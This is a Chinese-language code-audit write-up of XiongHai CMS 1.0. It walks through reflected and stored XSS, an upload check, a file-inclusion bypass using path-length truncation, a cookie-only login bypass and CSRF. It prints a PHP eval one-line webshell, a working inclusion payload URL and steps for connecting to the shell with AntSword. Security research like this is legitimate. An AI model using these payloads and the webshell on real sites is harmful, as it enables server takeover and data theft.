熊海CMS1.0代码审计

熊海CMS1.0代码审计之反射型XSS

首先打开Seay审计系统,把我们的xhcms丢进去审计一下,我们这里是要找XSS,我们直接搜索关键字echo,看看有没有可以利用的地方

image-20210805103255703

我们这里审计漏洞必须同时满足参数可控和危险函数两个条件,echo就是一个,我们这里需要找可控变量,如果变量不可控我们没法对他进行利用,因为我们这里先看了一下index.php,发现他是通过传一个参数进去,自动拼接.php来访问files目录下的文件,所以这里可能会有文件包含漏洞,我们在下面会讲,这里只是先说明他前台的功能点应该都在files文件夹下,我们直接审计files目录下的文件即可

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

image-20210805103656855

这里我们看到286行有个echo $page,我们去定位一下这个page变量是怎么被赋值的

image-20210805103853663

这位于contact.php文件下,所以我们构造payload验证一下即可

image-20210805104147923

这里如果用alert(‘xss’)是不行的,因为他有一个addcslashes() 函数,会自动转义特殊字符

熊海CMS1.0代码审计之文件上传

使用自动审计功能审计出来是在/seacmsditor/php/Uploader.class.php文件下,我们进去看看

image-20210805104702200

发现他是UEditor编辑器,找了半天,只有后台有上传点,不管他,先审计看看

image-20210805104953164

发现他这里有一个checktype()函数,我们定位到他定义的位置看看,他这里是判断getfileext函数得出来的结果是否在config[“allowFiles”]里

image-20210805105245784

我们继续追踪看看config[“allowFiles”]和getfileext()这两个分别是什么,getFileExt()他自己注释了,是获取文件拓展名,和我们自己分析的一样,把文件名最后一个点后面的字符串输出并转换成小写,这里config[“allowFiles”]没找到,但是按他名字来说应该是允许上传的文件类型,然后判断当前上传的文件的拓展名和允许上传的图片的类型进行比对,这里是一个白名单验证吧,这里可以上传图片马,因为后面还有文件包含漏洞可以配合getshell

image-20210805105934984

熊海CMS1.0代码审计之文件包含

这里文件包含挺明显的,反射型XSS那里大概也讲过

1
2
3
4
5
6
7
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

传入一个r,拼接一个.php,在files目录下,我们这里只要让他拼接的这个.php失效就可以了,我们这里可以使用文件名最大长度限制来绕过这个.php,我这里之前就上传好了一个图马内容是

1
<?php @eval($_POST[zwq]); ?>

由于他当前目录是在files下,我们的图片在upload\image\20210804下,所以需要构造一下

Payload:

1
xhcms.com/?r=../upload/image/20210804/1628077724603047.jpg.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

image-20210805112558209

这里有个坑:这里如果要用最大字符绕过的话,好像需要满足特定条件

Virtual Directory Support = enabled

并且目前测试的版本是php5.2.17,其他貌似不行

熊海CMS1.0代码审计之越权访问

我们这里先登录到后台,抓一个后台的包

image-20210805140147926

包里的cookie有个user=admin 这就比较可疑,猜测有没有越权访问漏洞,先把cookie清了,重新抓个包验证一下

image-20210805140509947

我们可以看到,这里的user随便输了一个,都是可以进去的,所以他存在越权访问漏洞

但是这里为什么会出现越权访问呢,我们来看看他的源代码

这个cms的配置文件都是inc目录下,我们在inc目录下,应该是checklogin.php这个文件

1
2
3
4
5
6
7
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>

我们可以看到,他这里只是判断user有没有接收到值,没有判断user具体是什么

如果user没有值,就返回登陆界面,这还不出大问题,账号密码形同虚设啊。

熊海CMS1.0代码审计之存储型XSS

熊海cms前台有个留言板,考虑能不能有XSS可以利用

我这里前台的留言貌似有点问题,验证码一直提示错误,那我可以在后台里给他添加一条xss的评论

image-20210805141045953

然后访问前台的留言界面,触发了xss

image-20210805141106154

直接找出后台更新留言的源代码

image-20210805145406701

1
2
3
4
5
6
7
8
9
10
11
12
13
$query = "UPDATE interaction SET 
xs='$xs',
name='$name',
mail='$mail',
url='$url',
touxiang='$touxiang',
content='$content',
tz='$tz',
rip='$rip',
rshebei='$rshebei',
rcontent='$rcontent',
rdate=now() WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());

这里也没有进行任何过滤,直接就丢到数据库里了,导致XSS漏洞

熊海CMS1.0代码审计之CSRF漏洞

我们在后台的文章管理这里,发现可以删除文章,那这里有没有CSRF漏洞可以利用呢

我们尝试劫持管理员的权限去删除文章,然后抓一个删除文章的包,这里也没有token验证啊,很可能存在CSRF

image-20210805141639063

使用burp自带的CSRF的POC生成功能,把html代码复制到本地

image-20210805142113407

image-20210805141842830

熊海CMS1.0代码审计之SQL注入

搭建起来的演示站有点小问题,后续更新

利用文件包含获取webshell

我们通过前面的文件包含学习知道了可以通过首页的include函数直接包含一个XXX.XXX.php的文件,其中XXX.XXX是我们传的参数,index.php会自动拼接一个.php后缀,这时我们如果需要getshell就需要把其中的.php给截断,这里用到的是用windows文件名的最大长度是260字节来进行截断,除此之外,include在变量action前还拼接了一个”files/“,所以这里我们在文件包含的时候特别要注意一下被包含的文件和index.php之间的位置关系

QQ图片20210707164116

既然知道了具体的原理,那我们这时候就需要来getshell。文件包含可以把包含的文件用来作为php来执行,既然要用到包含,那他网站所处的目录或者下级目录下面必须要有我们需要包含的文件,此时我们又不知道他文件目录下有什么文件可以利用,因此我们首先需要想要上传一个文件。

看完熊海cms的前台,找不到可以上传文件的地方,这时候我们去后台寻找。经过寻找我们可以发现在后台-发布内容-发表文章下面可以进行图片的上传,这时候我们只需要新建一个txt文档,然后输入我们的php一句话木马: ,把这个txt文档改为jpg后缀,通过后台-发布内容-发表文章这个上传点来把我们的图片上传

1

上传好了webshell,我们如果需要使用菜刀等工具必须得先知道他上传后文件的路径(这里我们无法使用菜刀,可能只能使用蚁剑),只需要用浏览器的审查元素功能(F12)就可以找到我们上传图片的地址。(可以手动访问一下看看文件是不是存在)QQ图片20210707165215

知道文件上传地址之后,我们先使用我们的工具hackbar来测试我们上传的webshell是不是可以执行,这时候我们只需要在hackbar里面先使用load加载url地址(这里的url地址需要我们构造好文件包含后的地址),在POST data里面填写shell=phpinfo();,然后点execute如果网页显示出了phpinfo()页面,就表示我们的webshell可以执行,判断完webshell是否可以执行之后,我们用webshell管理工具-蚁剑来进行连接,url地址填文件包含以后的地址,连接密码填我们一句话木马里用post方法传的变量(这里我们可以使用谷歌浏览器里的一个插件叫hackbar)

QQ图片20210707165313

QQ图片20210707165341

连接成功

QQ图片20210707165415

坑1:我们使用蚁剑连接时,需要选择base64编码,如果选默认的会无法连接
是因为default(默认)通信过程不采编码与加密操作,明文传输(不推荐,特殊字符会被转义导致出错)
这是乱码的图

QQ图片20210707165500

这里再介绍一下windows下的另外一种包含的方法,这里举两个例子

QQ图片20210707165606

QQ图片20210707165558

直接从例子里面可以看出来,传入file=5<参数就可以包含到了我们的596a62sd.php(这是随便取的),大概原理根据windows的一些特性,我们输入的<会转换成,而被转换的类似于linux中的通配符,所以这里就可以利用这个特性来用<进行文件包含。
具体解析可以看 http://www.jinglingshu.org/?p=8790 这篇文章介绍的